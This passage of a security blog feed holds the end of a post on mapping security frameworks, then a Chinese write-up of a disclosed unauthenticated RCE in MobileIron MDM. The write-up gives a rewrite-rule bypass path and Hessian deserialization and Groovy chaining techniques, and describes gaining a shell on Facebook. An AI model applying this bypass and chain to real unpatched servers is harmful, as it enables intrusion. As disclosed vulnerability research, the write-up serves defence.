id="複雜的問題更要從策略面思考">複雜的問題,更要從策略面思考</h2> <p>資安是非常複雜而且分工細膩的工作,不確定問題的核心就無法釐清權責、安排資源,遑論降低再發的機率。因此要解決這個複雜問題需要有資安策略來支撐,而不是頭痛醫頭、腳痛醫腳。首先,我們把資安的防護分為三種階段:</p> <ul> <li>恢復原狀型:企業將主要的資安資源投放在日常的維運及問題查找上,包括確認當下發生的問題、進行緊急處理、災害控制、查明及分析發生原因、修復問題、研究對策避免再發生等等。</li> <li>防微杜漸型:將資源投入在對企業造成重大衝擊的問題上,並持續進行預防及回應的評估與演練、嘗試提前找出原因,加以預防或思考演練發生時應該執行的對策。</li> <li>追求理想/卓越型:盤點及分析問題的優、缺點,設定企業持續精進的目標,藉由行動計畫來達成目標。</li> </ul> <p>根據我們的觀察,幾乎多數的企業都是落在「恢復原狀型」,但企業多半認知其為「防微杜漸型」。造成這個認知上的落差,主因來自於對自身安全狀況的不了解,導致對於風險的掌握程度產生誤判。因此,透過一個宏觀的策略思考,有助於盤點各種控制措施不足之處,才有機會將防禦縱深的機制拴緊螺絲,打造期望的防禦體系。</p> <p><img src="/assets/img/blog/20201013/1.png" alt="" /></p> <h2 id="分層負責各司其職">分層負責,各司其職</h2> <p>我們建議將縱深防禦以一個更全面的方式來檢視,分為 Executive Layer、Process Layer、Procedure Layer 以及 Technology Layer 四層,一個好的防禦策略,除了要做到 R &amp; R (Role &amp; Responsibility) 外,更重要的是在上而下制定策略之後,經由下而上的方式確保策略的有效性,因此不同階層的資安從業人員都有其需要關注的重點。</p> <p><img src="/assets/img/blog/20201013/2.png" alt="" /></p> <ul> <li>Executive Layer:資安長 (CISO) 的視角,關注足以影響組織營運的風險及緩解這些風險的資源是否充足。可以參考的標準包括 NIST 800-39、NIST 800-30、ISO 27005 以及 CIS RAM。</li> <li>Process Layer:高階主管的視角,關注持續維持組織安全運作的管理程序是否足夠及落實、規劃未來組織資安的成熟度等。參考的標準包括 NIST Cybersecurity Framework、ISO 27001 等。</li> <li>Procedure Layer:中階主管的視角,包括決定哪些安全控制措施要執行、執行的細緻程度,這些項目就是一般所謂的安全控制措施 (security control),例如組態設定、密碼管理、日誌紀錄的類型等,可以參考 NIST 800-53 或是 CIS Critical Security Controls 等規範。</li> <li>Technology Layer:初階主管與技術人員的角度,包含針對攻擊者的技巧所應對的資安設備、自動化安全控制措施的工具、監控分析工具等等。目前這部份也是組織資安防禦的重點,可以參考資安設備支援 MITRE ATT&amp;CK 的攻擊技巧來盤點現有的防禦缺口或透過 OWASP Cyber Defense Matrix (CDM) 定位產品。</li> </ul> <h2 id="框架與標準的定位">框架與標準的定位</h2> <p>在說明完不同階層關注的重點後,這裡特別說明幾個重要 (或使用率較高) 的標準及框架。除了要知道哪些框架跟標準與資安有關外,同時也需要了解適用的情境、目的及彼此間的差異</p> <ul> <li>ISO 27001:屬於 Process Layer,其提供建立資訊安全管理系統的標準,幫助組織管理和保護資訊資產,確保達到客戶或利害關係人其安全的期待;可以取得驗證。但要提醒的是,27001 作為一個實踐資訊安全管理 (Information Security System) 的標準,雖然具有文件化 (Documented) 要求的優點,但其要求項目多數在預防 (Prevent) 及避免 (Avoid) 上,較少著重在因應網路安全的偵測 (Detect) 及回應 (React) 上。</li> <li>NIST Cybersecurity Framework (CSF):屬於 Process View,由美國主導的網路安全框架,提供關鍵基礎設施或一般企業幫助組織管理和保護資訊資產,確保其安全無慮;可以驗證並有成熟度模式,可以讓企業先描繪自己的資安狀態 (profile) 並藉由訂定目標逐年強化企業的安全。同時,明確的將安全要求結構化的分成識別 (Identify)、防禦 (Protect)、偵測 (Detect)、回應 (Respond) 及復原 (Recover),並支援其他安全標準與框架的對應,如 CIS CSC、COBIT、27001、NIST 800-53 等。</li> </ul> <p><img src="/assets/img/blog/20201013/3.png" alt="" /></p> <ul> <li>CIS Cybersecurity Control:資訊安全控制指引屬於 Procedure View,針對網路攻擊所應採取的控制項目提出優先執行順序,組織可依照自身的規模 (IG1-IG3) 執行對應的措施, 分為基礎型、基本型及組織型,共 20 個控制群組、178 個子控制項。</li> </ul> <h2 id="不良的資安防護狀態">不良的資安防護狀態</h2> <p>實務上來說,企業的防禦策略有兩種不良的狀態</p> <ol> <li>縱深防護不足:防禦機制不夠全面 (紅色缺口)、設備效果不如宣稱 (藍色缺口)、設備本身的限制 (橘色缺口);上述的問題,綜合而言,就會使得設備間的綜效無法阻斷攻擊鏈,形成技術層的破口。 <img src="/assets/img/blog/20201013/4.png" alt="" /></li> <li>配套措施的不完整:也就是「程序」及「流程」上的不足,假設某資安設備可以偵測到異常行為,資安人員如何分辨這是攻擊行為還是員工內部正常行為?多久內要及時回應進行處理、多久要發動鑑識?一旦上述的「程序」及「流程」沒有定義清楚,縱使設備本身是有效的,組織仍然會因為回應時間過慢,導致攻擊者入侵成功。 <img src="/assets/img/blog/20201013/5.png" alt="" /></li> </ol> <h2 id="盤點各層次的守備範圍">盤點各層次的守備範圍</h2> <p>那麼要如何改善這兩種不佳的防禦狀態?我們可以單獨使用 CDM 來評估技術層的守備範圍是否足夠,也可以使用它來作為程序、流程及技術層的跨階層的盤點;</p> <p><img src="/assets/img/blog/20201013/6.png" alt="" /></p> <blockquote> <p>CDM (Cyber Defense Matrix) 是 OWASP 的一個專案,由一個 5x5 的矩陣所構成。橫軸是 NIST CSF 的五大類別,而縱軸則是資產盤點常見的分類;組織可以利用這個矩陣來盤點企業 Technology View 建構的防禦設備,更精準的確認需要保護的資產是否在 NIST CSF 的每個類別都有對應的措施。</p> </blockquote> <p>以 ISO 27001 作為例子,將其本文的要求及附錄 A 的控制措施,對應到 CDM 上,進而盤點 ISO 27001 在組織的程序面所能涵蓋的範圍。要注意的是,不同組織在盤點時,會產生不同的對應結果,這正是透過 CDM 來檢視的意義所在;例如在盤點「A.7.2.2 資訊安全認知、教育及訓練」時,企業要思考對於人員的教育訓練是否涵蓋到 NIST CSF 的五大類別,還是只包含人員意識的訓練;另外以「A.6.2.2 遠距工作」的防護機制,除了針對網路層及應用程式保護外,管理程序是否也包含遠距工作的資料及設備要求?</p> <p><img src="/assets/img/blog/20201013/7.png" alt="" /></p> <p>接著,往下一層 (Procedure Layer),也將企業現有的控制措施,對應到 CDM 中。這邊以 CIS CSC 為例,淺藍色的部份屬於基本型的控制群組、灰色部分為基礎型控制群組,組織型的控制群組因為比較偏向程序面,因此比較難單獨歸屬在特定的 CDM 區塊中。</p> <p><img src="/assets/img/blog/20201013/8.png" alt="" /></p> <h2 id="透過真實的威脅補足資安策略的不足">透過真實的威脅,補足資安策略的不足</h2> <p>在透過 CDM 盤點完 Procedure Layer 及 Process Layer 後,企業接著可以透過資安事故、威脅情資、紅隊演練或模擬入侵攻擊工具 (BAS) 等貼近真實威脅的服務或工具,來思考資安策略的不足之處。這邊我們以一個紅隊演練的部分成果作為案例,來貫穿本篇文章的應用。</p> <p><img src="/assets/img/blog/20201013/9.png" alt="" /></p> <p>在這個案例中,我們約略可以發現幾個問題:</p> <ol> <li>程式撰寫不夠安全:以致存在任意檔案上傳的漏洞。</li> <li>不同系統間使用共用帳號密碼:導致撞庫攻擊可以成功,而監控機制或組態管理顯然未發揮作用。</li> <li>未依照資料機敏性進行網段區隔:對外服務網段可以透過 RDP 連線至 core zone。</li> <li>特權帳號與存取控制未進行關聯分析:致可以使用 backup 帳號登入 AD 網域控制器。</li> </ol> <p>上述的 4 個項目,是直覺在盤點時可能想到的疏漏項目。但要怎麼確認還有其他根因 (root cause) 是企業沒思考到的呢?這時候就可以利用已知的標準及框架,搭配先前盤點好的控制項目,來更為周延的思考目前還可以強化的控制措施;如果企業的資源有限,甚至可以參考 CIS CSC 對於優先權的建議順序,先確認組織實作群組 (Implementation Group) ,再依基本型、基礎型及組織型,訂定短、中、長期計畫及投放資源,有目標的改善防禦能耐。</p> <p><img src="/assets/img/blog/20201013/10.png" alt="" /></p> <p>最後,可以將上圖找出 Procedure Layer 的控制項目,對應到 Process Layer 的盤點結果,檢視流程上對應的作法。以 「14.1、依據敏感性網路進行區隔」為例,去評估 ISO 27001 中「A.6.2.2 遠距工作」的要求上,在設備、應用程式、網路、資料及使用者,是否都有做好網路區隔;或是「6.3 開啟更詳盡的日誌」,評估在 ISO 27001 中「A.16.1.5」對於資訊安全事故的回應上,在偵測、回應跟復原上,是否都有對應的程序可以支持,監控到發出的告警。</p> <p><img src="/assets/img/blog/20201013/11.png" alt="" /></p> <p>透過本篇的方法論可以從技術、程序、流程到風險,讓不同階層的資安從業人員有一致性的溝通方式。我們希望資安策略對於企業是一個真正可被實作、建立出短、中、長期目標的務實作為,而非只是一個組織治理中的一個高深名詞。</p> https://devco.re/blog/2020/10/13/mitigate-real-threats-by-framework-and-standards/ https://devco.re/blog/2020/10/13/mitigate-real-threats-by-framework-and-standards Tue, 13 Oct 2020 00:00:00 +0800 看我如何再一次駭進 Facebook,一個在 MobileIron MDM 上的遠端程式碼執行漏洞! <style type="text/css"> table { display: block; width: 100%; overflow: auto; word-break: normal; word-break: keep-all; font-size: smaller; } table th { font-weight: bold } table th, table td { padding: 5px 11px; border: 1px solid #ddd; } table tr { background-color: #fff; border-top: 1px solid #ccc; } table tr:nth-child(2n) { background-color: #f8f8f8; } </style> <p><a href="/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM-en/">English Version</a> <a href="/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM">中文版本</a></p> <p>嗨! 好久不見,這是我在今年年初的研究,講述如何尋找一款知名行動裝置管理產品的漏洞,並繞過層層保護取得遠端程式碼執行的故事! 其中的漏洞經回報後在六月由官方釋出修補程式並緊急通知他們的客戶,而我們也在修補程式釋出 15 天後發現 Facebook 並未及時更新,因此透過漏洞取得伺服器權限並回報給 Facebook!</p> <p>此份研究同時發表於 <a href="https://hitcon.org/2020/">HITCON 2020</a>,你可以從<a href="https://hitcon.org/2020/slides/How%20I%20Hacked%20Facebook%20Again!.pdf">這裡</a>取得這次演講的投影片!</p> <p><br /></p> <p>身為一個專業的紅隊,我們一直在尋找著更快速可以從外部進入企業內網的最佳途徑! 如同我們去年在 <a href="https://www.blackhat.com/us-19/briefings/schedule/#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545">Black Hat USA</a> 發表的研究,SSL VPN 理所當然會放在外部網路,成為保護著網路安全、使員工進入內部網路的基礎設施,而當你所信任、並且用來保護你安全的設備不再安全了,你該怎麼辦?</p> <p>由此為發想,我們開始尋找著有沒有新的企業網路脆弱點可當成我們紅隊攻擊滲透企業的初始進入點,在調查的過程中我們對 MDM/UEM 開始產生了興趣,而這篇文章就是從此發展出來的研究成果!</p> <h2 id="什麼是-mdmuem-">什麼是 MDM/UEM ?</h2> <p>Mobile Device Management,簡稱 MDM,約是在 2012 年間,個人手機、平板裝置開始興起時,為了使企業更好的管理員工的 <a href="https://en.wikipedia.org/wiki/Bring_your_own_device">BYOD 裝置</a>,應運而生的資產盤點系統,企業可以透過 MDM 產品,管理員工的行動裝置,確保裝置只在信任的環境、政策下運行,也可以從中心的端點伺服器,針對所控制的手機,部署應用程式、安裝憑證甚至遠端操控以管理企業資產,更可以在裝置遺失時,透過 MDM 遠端上鎖,或是抹除整台裝置資料達到企業隱私不外漏的目的!</p> <p>UEM (Unified Endpoint Management) 則為近幾年來更新的一個術語,其核心皆為行動裝置的管理,只是 UEM 一詞包含更廣的裝置定義! 我們以下皆用 MDM 一詞來代指同類產品。</p> <h2 id="我們的目標">我們的目標</h2> <p>MDM 作為一個中心化的端點控制系統,可以控制、並管理旗下所有員工個人裝置! 對日益壯大的企業來說,絕對是一個最佳的資產盤點產品,相對的,對駭客來說也是! 而為了管理來自世界各地的員工裝置連線,MDM 又勢必得曝露在外網。 一個可以「管理員工裝置」又「放置在外網」的設備,這對我們的紅隊演練來說無疑是最棒的滲透管道!</p> <p>另外,從這幾年的安全趨勢也不難發現 MDM 逐漸成為駭客、APT 組織的首選目標! 誘使受害者同意惡意的 MDM 成為你裝置的 C&amp;C 伺服器,或是乾脆入侵企業放置在外網的 MDM 設備,在批次地派送行動裝置木馬感染所有企業員工手機、電腦,以達到進一步的攻擊! 這些都已成真,詳細的報告可參閱 Cisco Talos 團隊所發表的 <a href="https://blogs.cisco.com/security/talos/malicious-mdm-lets-hide-this-app">Malicious MDM: Let’s Hide This App</a> 以及 CheckPoint CPR 團隊所發表的 <a href="https://research.checkpoint.com/2020/mobile-as-attack-vector-using-mdm/">First seen in the wild - Malware uses Corporate MDM as attack vector</a>!</p> <p>從前面的幾個案例我們得知 MDM 對於企業安全來說,是一個很好的切入點,因此我們開始研究相關的攻擊面! 而市面上 MDM 廠商有非常多,各個大廠如 Microsoft、IBM 甚至 Apple 都有推出自己的 MDM 產品,我們要挑選哪個開始成為我們的研究對象呢?</p> <p>因此我們透過公開情報列舉了市面上常見的 MDM 產品,並配合各家特徵對全世界進行了一次掃描,發現最多企業使用的 MDM 為 VMware AirWatch 與 MobileIron 這兩套產品! 至於要挑哪一家研究呢? 我們選擇了後者,除了考量到大部分的客戶都是使用 MobileIron 外,另外一個吸引我的點則是 Facebook 也是他們的客戶! 從我們在 2016 年發表的 <a href="https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script-eng-ver/">How I Hacked Facebook, and Found Someone’s Backdoor Script</a> 研究中,就已發現 Facebook 使用 MobileIron 作為他們的 MDM 解決方案!</p> <p>根據 MobileIron 官方網站描述,至少有 20000+ 的企業使用 MobileIron 當成他們的 MDM 解決方案,而根據我們實際對全世界的掃描,也至少有 15% 以上的財富世界 500 大企業使用 MobileIron 且<strong>曝露在外網</strong>(實際上一定更多),因此,尋找 MobileIron 的漏洞也就變成我們的首要目標!</p> <h2 id="如何開始研究">如何開始研究</h2> <p>從<a href="https://www.cvedetails.com/vulnerability-list/vendor_id-13968/Mobileiron.html">過往出現過的漏洞</a>可以得知 MobileIron 並沒有受到太多安全人員研究,其中原因除了 MDM 這個攻擊向量尚未廣為人知外,另一個可能是因為關於 MobileIron 的相關韌體太難取得,研究一款設備最大的問題是如何從純粹的黑箱,到可以分析的灰箱、甚至白箱! 由於無法從官網下載韌體,我們花費了好幾天嘗試著各種關鍵字在網路上尋找可利用的公開資訊,最後才在 Goolge Search 索引到的其中一個公開網站根目錄上發現疑似是開發商測試用的 RPM 包。</p> <p><img src="/assets/img/blog/20200912/1.png" alt="" /></p> <p>下載回的韌體為 2018 年初的版本,離現在也有很長一段時間,也許核心程式碼也大改過,不過總比什麼都沒有好,因此我們就從這份檔案開始研究起。</p> <p><em>備註: 經通知 MobileIron 官方後,此開發商網站已關閉。</em></p> <h2 id="如何尋找漏洞">如何尋找漏洞</h2> <p>整個 MobileIron 使用 Java 作為主要開發語言,對外開放的連接埠為 443, 8443, 9997,各個連接埠對應功能如下:</p> <ul> <li>443 為使用者裝置註冊介面</li> <li>8443 為設備管理介面</li> <li>9997 為一個 MobileIron 私有的裝置同步協定 (MI Protocol)</li> </ul> <p>三個連接埠皆透過 TLS 保護連線的安全性及完整性,網頁部分則是透過 Apache 的 Reverse Proxy 架構將連線導至後方,由 Tomcat 部署的網頁應用處理,網頁應用則由 Spring MVC 開發。</p> <p><img src="/assets/img/blog/20200912/2.png" alt="" /></p> <p>由於使用的技術架構相對新,傳統類型的漏洞如 SQL Injection 也較難從單一的點來發現,因此理解程式邏輯並配合架構層面的攻擊就變成我們這次尋找漏洞的主要目標!</p> <p>這次的漏洞也很簡單,主要是 Web Service 使用了 Hessian 格式處理資料進而產生了反序列化的弱點! 雖然漏洞一句話就可以解釋完了,但懂的人才知道反序列化並不代表你可以做任何事,接下來的利用才是精彩的地方!</p> <p>現在已知 MobileIron 在處理 Web Service 的地方存在 Hessian 反序列化漏洞! 但漏洞存在,並不代表我們碰得到漏洞,可以觸發 Hessian 反序列化的路徑分別在:</p> <ul> <li>一般使用者介面 - <code class="language-plaintext highlighter-rouge">https://mobileiron/mifs/services/</code></li> <li>管理介面 - <code class="language-plaintext highlighter-rouge">https://mobileiron:8443/mifs/services/</code></li> </ul> <p>管理介面基本上沒有任何阻擋,可以輕鬆的碰到 Web Service,而一般使用者介面的 Web Service 則無法存取,這對我們來說是一個致命性的打擊,由於大部分企業的網路架構並不會將管理介面的連接埠開放在外部網路,因此只能攻擊管理介面對於的利用程度並不大,因此我們必須尋找其他的方式去觸發這個漏洞!</p> <p>仔細觀察 MobileIron 的阻擋方式,發現它是透過在 Apache 上使用 Rewrite Rules 去阻擋對一般使用者介面 Web Service 的存取:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> ^/mifs/services/(.*)$ https://%{SERVER_NAME}:8443/mifs/services/$1 [R=307,L] <span class="nc">RewriteRule</span> ^/mifs/services [F] </code></pre></div></div> <p>嗯,很棒! 使用 Reverse Proxy 架構而且是在前面那層做阻擋,你是否想到什麼呢?</p> <p><br /> <br /></p> <p>沒錯! 就是我們在 <a href="https://github.com/orangetw/My-CTF-Web-Challenges#blackbox">2015 年</a>發現,並且在 <a href="https://www.blackhat.com/us-18/briefings.html#breaking-parser-logic-take-your-path-normalization-off-and-pop-0days-out">Black Hat USA 2018</a> 上所發表的針對 Reverse Proxy 架構的新攻擊面 <a href="https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html">Breaking Parser Logic</a>! 這個優秀的技巧最近也被很好的利用在 <a href="https://support.f5.com/csp/article/K52145254">CVE-2020-5902</a>,F5 BIG-IP TMUI 的遠端程式碼執行上!</p> <p>透過 Apache 與 Tomcat 對路徑理解的不一致,我們可以透過以下方式繞過 Rewrite Rule 再一次攻擊 Web Service!</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://mobileiron/mifs/.;/services/someService </code></pre></div></div> <p>碰! 因此現在不管是 8443 的管理介面還是 443 的一般使用者介面,我們都可以碰到有 Hessian 反序列化存在的 Web Service 了!</p> <h2 id="如何利用漏洞">如何利用漏洞</h2> <p>現在讓我們回到 Hessian 反序列化的利用上! 針對 Hessian 反序列化,<a href="https://github.com/mbechler">Moritz Bechler</a> 已經在他的 <a href="https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf">Java Unmarshaller Security</a> 中做了一個很詳細的研究報告! 從他所開源的 <a href="https://github.com/mbechler/marshalsec">marshalsec</a> 原始碼中,我們也學習到 Hessian 在反序列化過程中除了透過 HashMap 觸發 <code class="language-plaintext highlighter-rouge">equals()</code> 以及 <code class="language-plaintext highlighter-rouge">hashcode()</code> 等觸發點外,也可透過 <code class="language-plaintext highlighter-rouge">XString</code> 串出 <code class="language-plaintext highlighter-rouge">toString()</code>,而目前關於 Hessian 反序列化已存在的利用鏈有四條:</p> <ul> <li>Apache XBean</li> <li>Caucho Resin</li> <li>Spring AOP</li> <li>ROME EqualsBean/ToStringBean</li> </ul> <p>而根據我們的目標環境,可以觸發的只有 Spring AOP 這條利用鏈!</p> <table> <thead> <tr> <th> </th> <th>Name</th> <th>Effect</th> </tr> </thead> <tbody> <tr> <td>x</td> <td>Apache XBean</td> <td>JNDI 注入</td> </tr> <tr> <td>x</td> <td>Caucho Resin</td> <td>JNDI 注入</td> </tr> <tr> <td><strong>√</strong></td> <td><strong>Spring AOP</strong></td> <td><strong>JNDI 注入</strong></td> </tr> <tr> <td>x</td> <td>ROME EqualsBean</td> <td>RCE</td> </tr> </tbody> </table> <p>無論如何,我們現在有了 JNDI 注入後,接下來只要透過 <a href="https://twitter.com/pwntester">Alvaro Muñoz</a> 與 <a href="https://twitter.com/olekmirosh">Oleksandr Mirosh</a> 在 Black Hat USA 2016 上所發表的 <a href="https://www.blackhat.com/us-16/briefings.html#a-journey-from-jndi-ldap-manipulation-to-remote-code-execution-dream-land">A Journey From JNDI/LDAP to Remote Code Execution Dream Land</a> 就可以取得遠端程式碼執行了… 甘安內?</p> <p><img src="/assets/img/blog/20200912/3.png" alt="" /></p> <p><br /></p> <p>自從 <a href="https://twitter.com/pwntester">Alvaro Muñoz</a> 與 <a href="https://twitter.com/olekmirosh">Oleksandr Mirosh</a> 在 Black Hat 發表了這個新的攻擊向量後,不知道幫助了多少大大小小的駭客,甚至會有人認為「遇到反序列化就用 JNDI 送就對了!」,但自從 2018 年十月,Java 終於把關於 JNDI 注入的最後一塊拼圖給修復,這個修復被記載在 <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3149">CVE-2018-3149</a> 中,自此之後,所有 Java 高於 8u181, 7u191, 6u201 的版本皆無法透過 JNDI/LDAP 的方式執行程式碼,因此若要在最新版本的 MobileIron 上實現攻擊,我們勢必得面對這個問題!</p> <p>關於 CVE-2018-3149,是透過將 <code class="language-plaintext highlighter-rouge">com.sun.jndi.ldap.object.trustURLCodebase</code> 的預設值改為 <code class="language-plaintext highlighter-rouge">False</code> 的方式以達到禁止攻擊者下載遠端 Bytecode 取得執行程式碼。</p> <p>但幸運的是,我們依然可以透過 JNDI 的 Naming Reference 到本機既有的 Class Factory 上! 透過類似 <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">Return-Oriented Programming</a> 的概念,尋找本機 ClassPath 中可利用的類別去做更進一步的利用,詳細的手法可參考由 <a href="https://twitter.com/artsploit">Michael Stepankin</a> 在 2019 年年初所發表的 <a href="https://www.veracode.com/blog/research/exploiting-jndi-injections-java">Exploiting JNDI Injections in Java</a>,裡面詳細敘述了如何透過 Tomcat 的 <code class="language-plaintext highlighter-rouge">BeanFactory</code> 去載入 <code class="language-plaintext highlighter-rouge">ELProcessor</code> 達成任意程式碼執行!</p> <p>這條路看似通暢,但實際上卻差那麼一點,由於 <code class="language-plaintext highlighter-rouge">ELProcessor</code> 在 Tomcat 8 後才被引入,因此上面的繞過方式只能在 Tomcat 版本大於 8 後的某個版本才能成功,而我們的目標則是 Tomcat 7.x,因此得為 <code class="language-plaintext highlighter-rouge">BeanFactory</code> 尋找一個新的利用鏈! 而經過搜尋,發現在 <a href="https://github.com/welk1n">Welkin</a> 的<a href="https://www.cnblogs.com/Welk1n/p/11066397.html">文章</a>中所提到:</p> <blockquote> <p>除了 javax.el.ELProcessor,当然也还有很多其他的类符合条件可以作为 beanClass 注入到 BeanFactory 中实现利用。举个例子,如果目标机器 classpath 中有 groovy 的库,则可以结合之前 Orange 师傅发过的 <a href="https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html">Jenkins 的漏洞实现利用</a></p> </blockquote> <p><br /></p> <p>目標的 ClassPath 上剛好有 Groovy 存在! 於是我們又讓 Meta Programming 偉大了一次 :D</p> <p>然而事實上,目標伺服器上 Groovy 版本為 1.5.6,是一個距今十年前老舊到不支援 Meta Programming 的版本,所以我們最後還是基於 Groovy 的程式碼,重新尋找了一個在 <code class="language-plaintext highlighter-rouge">GroovyShell</code> 上的利用鏈! 詳細的利用鏈可參考我送給 <a href="https://github.com/welk1n/JNDI-Injection-Bypass">JNDI-Injection-Bypass</a> 的這個 <a href="https://github.com/welk1n/JNDI-Injection-Bypass/pull/1">Pull Request</a>!</p> <h2 id="攻擊-facebook">攻擊 Facebook</h2> <p>現在我們已經有了一個基於 <code class="language-plaintext highlighter-rouge">JNDI</code> + <code class="language-plaintext highlighter-rouge">BeanFactory</code> + <code class="language-plaintext highlighter-rouge">GroovyShell</code> 的完美遠端程式碼執行漏洞,接下來就開始攻擊 Facebook 吧! 從前文提到,我們在 2016 年時就已知 Facebook 使用 MobileIron 當作他們的 MDM 解決方案,雖然現在再檢查一次發現首頁直接變成 403 Forbidden 了,不過幸運的是 Web Service 層並無阻擋! s <img src="/assets/img/blog/20200912/4.png" alt="" /></p> <p>萬事俱備,只欠東風! 正當要攻擊 Facebook 的前幾天,我們突然想到,從上次<a href="https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script-eng-ver/">進入 Facebook 伺服器</a>的經驗,由於安全上的考量,Facebook 似乎會禁止所有對外部非法的連線,這點對我們 JNDI 注入攻擊有著至關重要的影響! 首先,JNDI 注入的核心就是透過受害者連線至攻擊者控制的惡意伺服器,並接收回傳的惡意 Naming Reference 後所導致的一系列利用,但現在連最開始的連線到攻擊者的惡意伺服器都無法,更別談後續的利用。</p> <p><img src="/assets/img/blog/20200912/5.png" alt="" /></p> <p><br /></p> <p>自此,我們關於 JNDI 注入的路已全被封殺,只能回到 Hessian 反序列化重新思考! 而現有的利用鏈皆無法達到遠端程式碼執行,所以我們勢必得拋棄 JNDI 注入,尋找一個新的利用鏈!</p> <p><br /></p> <p><img src="/assets/img/blog/20200912/6.png" alt="" /></p> <p><br /></p> <p>為了尋找新的利用鏈,必須先深入理解已存在利用鏈的原理及成因,在重讀 <a href="https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf">Java Unmarshaller Security</a> 的論文後,我對其中一句話感到了好奇:</p> <blockquote> <p>Cannot restore Groovy’s MethodClosure as readResolve() is called which throws an exception.</p> </blockquote> <p><br /></p> <p>哦,為什麼作者要特地補上這句話呢? 我開始有個猜想:</p> <blockquote> <p>作者評估過把 Groovy 當成利用鏈的可行性,雖然被限制住了,但一定覺得有機會才會寫進論文中!</p> </blockquote> <p><br /></p> <p>從這個猜想出發,雖然 Groovy 的利用鏈被 <code class="language-plaintext highlighter-rouge">readResolve()</code> 限制住了,但剛好我們目標版本的 Groovy 很舊,說不定尚未把這個限制加入程式庫!</p> <p>我們比較了一下 Groovy-1.5.6 與最新版本位於 <code class="language-plaintext highlighter-rouge">groovy/runtime/MethodClosure.java</code> 中的 <code class="language-plaintext highlighter-rouge">readSolve()</code> 實現:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span> <span class="n">diff</span> <span class="mi">1_5</span><span class="n">_6</span><span class="o">/</span><span class="nc">MethodClosure</span><span class="o">.</span><span class="na">java</span> <span class="mi">3_0</span><span class="n">_4</span><span class="o">/</span><span class="nc">MethodClosure</span><span class="o">.</span><span class="na">java</span> <span class="o">&gt;</span> <span class="kd">private</span> <span class="nc">Object</span> <span class="nf">readResolve</span><span class="o">()</span> <span class="o">{</span> <span class="o">&gt;</span> <span class="k">if</span> <span class="o">(</span><span class="no">ALLOW_RESOLVE</span><span class="o">)</span> <span class="o">{</span> <span class="o">&gt;</span> <span class="k">return</span> <span class="k">this</span><span class="o">;</span> <span class="o">&gt;</span> <span class="o">}</span> <span class="o">&gt;</span> <span class="k">throw</span> <span class="k">new</span> <span class="nc">UnsupportedOperationException</span><span class="o">();</span> <span class="o">&gt;</span> <span class="o">}</span> </code></pre></div></div> <p>可以看到的確在舊版是沒有 <code class="language-plaintext highlighter-rouge">ALLOW_RESOLVE</code> 限制的,而後來經過考古後也發現,這個限制其實 Groovy 自己為了因應 2015 年所出現 Java 反序列化漏洞的減緩措施,因此也被分配了 <a href="https://groovy-lang.org/security.html">CVE-2015-3253</a> 這個漏洞編號! 由於 Groovy 只是一個只在內部使用、不會對外的小配角,因此在沒有特別需求下開發者也不會特地去更新它,因此成為了我們攻擊鏈的一環! 這也再一次驗證了「任何看似舉無輕重的小元件,都有可能成為你被攻擊的主因」!</p> <p>最後,當然! 我們成功的取得在 Facebook 伺服器上的 Shell,以下是影片:</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/hGTLIIOb14A" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <h2 id="漏洞通報與修復">漏洞通報與修復</h2> <p>我們約在三月時完成整個漏洞研究,並在 4/3 日將研究成果寫成報告,透過 <code class="language-plaintext highlighter-rouge">[email protected]</code> 回報給 MobileIron! 官方收到後著手開始修復,在 6/15 釋出修補程式並記錄了三個 CVE 編號,詳細的修復方式請參閱 <a href="https://www.mobileiron.com/en/blog/mobileiron-security-updates-available">MobileIron 官方網站</a>!</p> <ul> <li>CVE-2020-15505 - Remote Code Execution</li> <li>CVE-2020-15506 - Authentication Bypass</li> <li>CVE-2020-15507 - Arbitrary File Reading</li> </ul> <p>當官方釋出修補程式後,我們也開始監控世界上所有有使用 MobileIron 企業的修復狀況,這裡只單純檢查靜態檔案的 <code class="language-plaintext highlighter-rouge">Last-Modified</code> Header,結果僅供參考不完全代表實際情況(Unknown 代表未開 443/8443 無法利用):</p> <p><img src="/assets/img/blog/20200912/7.png" alt="" /></p> <p><br /></p> <p>與此同時,我們也持續監控著 Facebook,並在 15 天確認都未修補後於 7/2 日成功進入 Facebook 伺服器後回報 Facebook Bug Bounty Program!</p> <h2 id="結語">結語</h2> <p>到此,我們已經成功示範了如何尋找一個 MDM 伺服器的漏洞! 從繞過 Java 語言層級的保護、網路限制,到寫出攻擊程式並成功的利用在 Bug Bounty Program 上! 因為文長,還有許多來不及分享的故事,這裡僅條列一下供有興趣繼續研究的人參考!</p> <ul> <li>如何從 MDM 伺服器,控制回員工的手機裝置</li> <li>如何分析 MobileIron 的私有 MI Protocol</li> <li>CVE-2020-15506 本質上其實是一個很有趣的認證繞過漏洞</li> </ul> <p>希望這篇文章能夠喚起大眾對於 MDM 攻擊面的注意,以及企業安全的重要性! 感謝收看 :D</p> https://devco.re/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM/ https://devco.re/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM Sat, 12 Sep 2020 00:00:00 +0800 How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM <style type="text/css"> table { display: block; width: 100%; overflow: auto; word-break: normal; word-break: keep-all; font-size: smaller; } table th { font-weight: bold } table th, table td { padding: 5px 11px; border: 1px solid #ddd; } table tr { background-color: #fff; border-top: 1px solid 